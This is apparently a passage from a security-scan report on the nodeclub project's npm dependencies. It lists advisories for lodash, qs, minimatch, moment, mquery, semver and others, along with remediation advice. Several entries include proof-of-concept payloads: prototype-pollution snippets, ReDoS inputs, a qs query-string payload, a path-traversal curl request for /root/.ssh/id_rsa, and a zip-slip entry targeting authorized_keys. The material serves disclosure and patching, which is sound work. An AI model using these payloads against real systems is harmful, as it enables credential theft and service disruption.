ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade fresh
to version 0.5.2 or higher.
References
high severity
new
- Vulnerable module: lodash
- Introduced through: ioredis@1.15.1 and lodash@4.16.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ioredis@1.15.1 › lodash@3.10.1Remediation: Upgrade to ioredis@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › lodash@4.16.2Remediation: Upgrade to lodash@4.17.17.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution through the zipObjectDeep
function due to improper user input sanitization in the baseZipObject
function.
PoC
lodash.zipobjectdeep:
const zipObjectDeep = require("lodash.zipobjectdeep");
let emptyObject = {};
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
lodash:
const test = require("lodash");
let emptyObject = {};
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
test.zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.17 or higher.
References
high severity
- Vulnerable module: markdown-it
- Introduced through: markdown-it@6.0.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › markdown-it@6.0.0Remediation: Upgrade to markdown-it@13.0.2.
Overview
markdown-it is a modern pluggable markdown parser.
Affected versions of this package are vulnerable to Infinite loop in linkify inline rule when using malformed input.
Remediation
Upgrade markdown-it
to version 13.0.2 or higher.
References
high severity
- Vulnerable module: method-override
- Introduced through: method-override@2.3.5
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › method-override@2.3.5Remediation: Upgrade to method-override@2.3.10.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › method-override@2.3.5Remediation: Upgrade to method-override@2.3.10.
Overview
method-override
is a module to override HTTP verbs.
Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS). It uses regex the following regex / *, */
in order to split HTTP headers. An attacker may send specially crafted input in the X-HTTP-Method-Override
header and cause a significant slowdown.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade method-override
to version 2.3.10 or higher.
References
high severity
- Vulnerable module: minimatch
- Introduced through: pm2@1.1.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › yamljs@0.2.7 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to pm2@2.0.0.
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via complicated and illegal regexes.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade minimatch
to version 3.0.2 or higher.
References
high severity
- Vulnerable module: minimatch
- Introduced through: pm2@1.1.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › yamljs@0.2.7 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to pm2@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › yamljs@0.2.7 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to pm2@2.0.0.
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade minimatch
to version 3.0.2 or higher.
References
high severity
- Vulnerable module: moment
- Introduced through: moment@2.15.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › moment@2.15.2Remediation: Upgrade to moment@2.29.2.
Overview
moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.
Affected versions of this package are vulnerable to Directory Traversal when a user provides a locale string which is directly used to switch moment locale.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade moment
to version 2.29.2 or higher.
References
high severity
- Vulnerable module: mongodb
- Introduced through: mongoose@4.4.9
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › mongoose@4.4.9 › mongodb@2.1.10Remediation: Upgrade to mongoose@5.4.10.
Overview
mongodb is an official MongoDB driver for Node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS). The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mongodb
to version 3.1.13 or higher.
References
high severity
- Vulnerable module: mquery
- Introduced through: mongoose@4.4.9
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › mongoose@4.4.9 › mquery@1.10.0Remediation: Upgrade to mongoose@5.12.3.
Overview
mquery is an Expressive query building for MongoDB
Affected versions of this package are vulnerable to Prototype Pollution via the mergeClone()
function.
PoC by zhou, peng
mquery = require('mquery');
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mquery.utils.mergeClone({}, JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mquery
to version 3.2.5 or higher.
References
high severity
- Vulnerable module: qs
- Introduced through: superagent@1.8.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › superagent@1.8.2 › qs@2.3.3Remediation: Upgrade to superagent@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › superagent@1.8.2 › qs@2.3.3Remediation: Upgrade to superagent@2.0.0.
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Prototype Override Protection Bypass. By default qs
protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString()
, hasOwnProperty()
,etc.
From qs
documentation:
By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.
Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.
In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [
or ]
. e.g. qs.parse("]=toString")
will return {toString = true}
, as a result, calling toString()
on the object will throw an exception.
Example:
qs.parse('toString=foo', { allowPrototypes: false })
// {}
qs.parse("]=toString", { allowPrototypes: false })
// {toString = true} <== prototype overwritten
For more information, you can check out our blog.
Disclosure Timeline
- February 13th, 2017 - Reported the issue to package owner.
- February 13th, 2017 - Issue acknowledged by package owner.
- February 16th, 2017 - Partial fix released in versions
6.0.3
,6.1.1
,6.2.2
,6.3.1
. - March 6th, 2017 - Final fix released in versions
6.4.0
,6.3.2
,6.2.3
,6.1.2
and6.0.4
Remediation
Upgrade qs
to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.
References
high severity
- Vulnerable module: qs
- Introduced through: body-parser@1.17.1, express@4.15.2 and others
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › body-parser@1.17.1 › qs@6.4.0Remediation: Upgrade to body-parser@1.19.2.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › qs@6.4.0Remediation: Upgrade to express@4.17.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › superagent@1.8.2 › qs@2.3.3Remediation: Upgrade to superagent@2.0.0.
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.
Note: In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade qs
to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.
References
high severity
- Vulnerable module: semver
- Introduced through: log4js@0.6.38, oneapm@1.2.20 and others
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › log4js@0.6.38 › semver@4.3.6Remediation: Upgrade to log4js@1.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › oneapm@1.2.20 › semver@4.3.6
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › semver@5.1.1Remediation: Upgrade to pm2@2.0.1.
Overview
semver is a semantic version parser used by npm.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range
, when untrusted user data is provided as a range.
PoC
const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})
const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
